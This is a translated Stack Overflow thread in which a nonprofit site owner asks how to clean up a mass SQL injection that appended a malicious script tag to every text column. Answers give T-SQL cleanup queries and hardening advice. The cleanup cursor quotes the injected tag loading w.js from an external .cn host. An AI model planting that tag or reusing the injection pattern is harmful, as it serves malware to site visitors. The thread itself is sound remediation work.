我的任务是维护一个非营利网站,该网站最近成为 SQL 注入攻击的受害者。有人利用网站上的一个表单将文本添加到数据库中每个可用的类似文本的字段(varchar、nvarchar 等),当呈现为 HTML 时,该字段包含并执行 JavaScript 文件。

谷歌搜索该网址表明它来自罗马尼亚或中国的垃圾邮件发送者,但这不是现在重要的事情。

我仔细检查并手动删除了网站上最可见和最受欢迎的页面上呈现的文本字段中的信息,但我很好奇从网站上的其他文本字段中删除文本的最佳编程方式是什么。

显然还有更多工作需要做(强化网站以防止 SQL 注入,使用 markdown 之类的东西而不是存储 HTML 等),我正在研究这些,但目前我真正需要的是一种好方法并以编程方式删除注入的文本。我知道确切的文本是什么,每次都是一样的,并且它总是附加到任何文本字段的末尾。我目前无法删除数据库中的所有 HTML,而且我不知道这到底是什么时候发生的,所以我不能只是回滚到备份。此外,该网站位于共享主机上,我无法使用 SQL Server 工具直接连接到数据库。不过,我可以对它执行查询,因此,如果有任何方法可以构建 SQL 更新语句,以实现“嘿,找到整个数据库中所有表中的所有文本字段,并执行此操作来清理它们”,那么这就是最好的。

有帮助吗?

解决方案

从最近的备份中恢复数据。

其他提示

我是受害者,你可以用它来清理

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1)
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0)))

假设您和其他人一样成为同一攻击的受害者,那么 SQLMenace 的代码就很接近了。但是,该攻击使用了许多不同的脚本 URL,因此您必须对其进行自定义,以确保它与您在数据库中看到的 URL 相匹配。

我也写过相关内容, ,我的解决方案代码包括更通用的清理。

重要的一点是,您需要做的第一件事是 删除该网站. 。目前,您正在积极向用户提供恶意软件,这可能会让您稍后陷入法律修复之中。放置一个占位符页面,这样您的用户就不会被蒙在鼓里,但也不要继续提供恶意软件。然后您可以修复该站点以确保它不再容易受到注入攻击。最简单的方法 对于这次特殊的攻击 就是禁用您的网络用户的 sysobjects/syscolumns 权限,但您还需要进行更彻底的清理,否则再次被破解只是时间问题。然后,您可以使用提供的代码来清理站点并将其恢复正常。

这将扭转这一局面,明智的做法是从您的网站运行所用的用户名中获取 sysobject 权限,当然还要清理输入

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT  a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['+@T+'] where ['+@C+']  like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['+@T+'] set ['+@C+']=replace(['+@C+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['+@C+']  like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

我不久前在这里写过这个: 微软发布了解决 SQL 注入攻击的工具

许可以下: CC-BY-SA归因
不隶属于 StackOverflow
scroll top